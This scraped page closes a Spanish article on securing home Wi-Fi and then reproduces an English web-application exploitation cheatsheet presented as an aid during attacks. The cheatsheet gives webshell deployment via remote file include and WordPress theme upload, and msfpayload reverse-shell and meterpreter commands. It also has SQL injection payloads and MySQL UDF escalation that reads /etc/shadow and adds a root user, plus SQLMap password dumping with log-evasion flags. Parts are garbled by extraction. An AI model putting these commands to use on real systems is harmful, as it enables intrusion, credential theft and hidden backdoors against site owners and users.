- Utiliza escaneo pasivo de conexiones: Uno de los que más me gusta y menos ruido hace porque es pasivo aunque ya es un poco antiguo, es Satori (se puede descargar desde aquí Satori), un scanner de red que detecta los equipos en tu red por medio de las direcciones IPv4, IPv6 y direcciones físicas MAC que se usan en la red. Escanea el tráfico periodicamente de forma silenciosa a ver si tienes algún huésped no deseado. Puedes usar WireShark o lo que quieras para este trabajo.
Figura 5: Satori Sniffer

Por último, no quisiera terminar este artículo sin decir que nada de esto vale si te descargas cualquier cosa de Internet, has desactivado UAC o das clic a cualquier Applet Java que te llega desde esa página que tanto te gusta de cheaters.

Fuente: http://www.elladodelmal.com/2013/05/asegurar-tu-red-wifi-para-que-no-te.html

Web Application exploitation - a cheatsheet (ingles)

This is a work in progress. Additions, suggestions and constructive feedback are welcome.
The purpose of these cheatsheets is to, essentially, save time during an attack and study session.

[Last edited:2013-06-18]

WebShell Backdoors
Minimal php command shells
file cmd.php: PHP script text =>

or

Example usage via Remote File Include (RFI):
http:///index.php?cmd=&page=http:///cmd.php
Null Bytes (‰00 - html code ampersand, hash 137, 00) may also assist in some cases:
http:///index.php?cmd=&page=http:///cmd.php

e.g.
http:///index.php?system=../../../../../etc/passwd.html
Encoding windows reverse command shell as asp
msfpayload windows/shell_reverse_tcp LHOST= LPORT= R | msfencode -t asp -o .asp
Encoding meterpreter in asp
msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT= R | msfencode -t asp -o .asp
------
attacker msfconsole:
use multi/exploit/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 
set LPORT 
exploit


http://stackoverflow.com/questions/3115559/exploitable-php-functions


------------------------------------------------------------------------------------------------------------------
Encoding and Decoding - for backdoors, injection, and (de)obfustication
http://www.asciitohex.com/
http://home.paulschou.net/tools/xlate/
http://www.idea2ic.com/PlayWithJavascript/hexToAscii.html

Burp Suite (Decoder module)
http://portswigger.net/burp/help/decoder.html

Decode base64 standard input 
base64 -d 
 
^D

Javascript deobfustication
http://www.javascriptbeautifier.com/
http://jsbeautifier.org/
http://vitzo.com/en/tools/javascript/javascript-beautifier

------------------------------------------------------------------------------------------------------------------
Specific Web applications
Joomla
Joomla default database configuration filename
/configuration.php
Scanning Joomla! for plugins and versions
/pentest/web/scanners/joomscan/joomscan.pl -u
/pentest/enumeration/web/cms-explorer  -url  -type joomla

WordPress
WordPress default database configuration filename

WordPress default login page
/wp-login.php
WordPress plugins
/wp-content/plugins
Scanning WordPress for plugins and versions
/pentest/web/wpscan/wpscan.rb --url ; --proxy -enumerate [u|p|v|t] 

/pentest/enumeration/web/cms-explorer  -url  -type wordpress
Newer WP: "Themes" can be uploaded as zip files by WP administrators i.e. you:
mkdir wpx
vi wpx/cmd.php
cat wpx/cmd.php

zip -r wpx.zip wpx
upload wpx.zip via web interface as an installed theme
Command execution access is via: 
/wp-content/plugins/wpx/cmd.php?cmd= 
Older WP: Webshells can be added by editing exiting files/themes via the web interface or by enabling file upload and permitting the valid file extension (e.g. .php)

Cacti
Cacti default database configuration filename
/include/config.php


DeV!L`z ClanPortal
DeV!L`z ClanPortal default database configuration filename
/inc/mysql.php

Drupal
Drupal default database configuration filename
/sites/default/settings.php

Scanning Drupal for plugins and versions
/pentest/enumeration/web/cms-explorer  -url  -type drupal
PHPMyAdmin
/phpmyadmin/changelog.php
Timeclock
Timeclock default database configuration filename
/db.php


Default files to check for additional paths
lt;target-webpath>/robots.txt
lt;target-webpath>/style.css

------------------------------------------------------------------------------------------------------------------
SQL Terminators/Comments
MSSQL and MySQL:
;--
MySQL:
;#


Login Pages Basic SQL injection 
MS IIS
' OR '1=1';--

MySQL
'OR 1=1;--
'OR 1=1;#
'OR 1=1 LIMIT 1;#

Enumerate number of columns/fields
...UNION SELECT 1;--
...UNION SELECT 1,2;--
...UNION SELECT 1,2,3;--

Load file by injecting into the vulnerable field - encode string if necessary
…UNION ALL SELECT NULL,LOAD_FILE(‘’),NULL,NULL;-- …UNION ALL SELECT NULL,LOAD_FILE(‘’),NULL,NULL INTO OUTFILE ‘’;--

Dump/Write to file
(see encode text/shell to hex, base64)
...SELECT * FROM mytable INTO DUMPFILE ’; —
...SELECT * FROM mytable INTO OUTFILE ‘’; —

http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

http://ferruh.mavituna.com/sql-injection-cheatsheet-oku

MySQL <5 .0="" defined="" functions="" span="" user="">
command execution and privilege escalation with mysql running as root/SYSTEM
mysql> use mysql;
mysql> create table (line blob);
Query OK, 0 rows affected (0.00 sec)
mysql> insert into  values(load_file('');
Query OK, 1 rows affected (0.00 sec)
mysql> select * from  into dumpfile '/usr/lib/lib_mysqludf_sys.so';
Query OK, 1 rows affected (0.00 sec)
mysql> create function returns int soname 'lib_mysqludf_sys.so';
Example command execution with the new function:
mysql> set @status := ('cat /etc/shadow > /tmp/shadow');
Query OK, 0 rows affected (0.06 sec)
mysql> set @status := ('/usr/sbin/useradd -o -u0 -g0 -d /dev/null -s /bin/bash &new-username>');
Query OK, 0 rows affected (0.06 sec)
mysql> set @status := ('echo : | /usr/sbin/chpasswd');
Query OK, 0 rows affected (0.06 sec)
or
mysql> select ('/usr/sbin/useradd -o -u0 -g0 -d /dev/null -s /bin/bash &new-username>');
+----------------------------------------------------------------------------------------------------------------------------------------------------------+
('/usr/sbin/useradd -o -u0 -g0 -d /dev/null -s /bin/bash &new-username>'); |+----------------------------------------------------------------------------------------------------------------------------------------------------------+
| 4294967296                                                                                                                                       |
+----------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (1.70 sec)
SQLMap commands


cd /pentest/database/sqlmap
Retrieve SQL Banner, current database and current user; test if the user is the db administrator
./sqlmap.py -u "http:///index.php?param1=1&param2=2&param3=3" -p --banner --current-db --current-user --is-dba

Enumerate User Passwords
./sqlmap.py -u "http:///index.php?param1=1&param2=2&param3=3" --passwords

List of Databases
./sqlmap.py -u "http:///index.php?param1=1&param2=2&param3=3" --dbs

Retrieve tables from specific Database
./sqlmap.py -u "http:///index.php?param1=1&param2=2&param3=3" --tables -D

Dump specific table contents
./sqlmap.py -u "http:///index.php?param1=1&param2=2&param3=3" --dump -D -T

Retrieve system /etc/password file
./sqlmap.py -u "http:///index.php?param1=1&param2=2&param3=3" --file-read=/etc/passwd

Retrieve apache2 configuration file to identify live website config files
./sqlmap.py -u "http:///index.php?param1=1&param2=2&param3=3" --file-read=/etc/apache2/apache2.conf

Retrieve default configuration file to subsequently identify Document Root (web directory location)
./sqlmap.py -u "http:///index.php?param1=1&param2=2&param3=3" --file-read=/etc/apache2/sites-enabled/000-default

Retrieve CMS/Web app default configuration file if possible
./sqlmap.py -u "http:///index.php?param1=1&param2=2&param3=3" --file-read=//


Other interesting flags:
--check-waf         Check for existence of WAF/IPS/IDS protection - implementation of nmap http-waf-detect nse script


Some logfile Misdirection flags:
--random-agent      Use randomly selected HTTP User-Agent header
--safe-url=   Url address to visit frequently during testing
--safe-freq=  Test requests between two visits to a given safe url
--mobile            Imitate smartphone through HTTP User-Agent header

------------------------------------------------------------------------------------------------------------------

Basic Client-side attacks
XSS - iframe



XSS - javascript




References and sources also include:
http://g0tmi1k.blogspot.com
http://ha.ckers.org/sqlinjection/

Fuente: http://it-ovid.blogspot.com/2012/04/web-application-exploitation-cheatsheet.html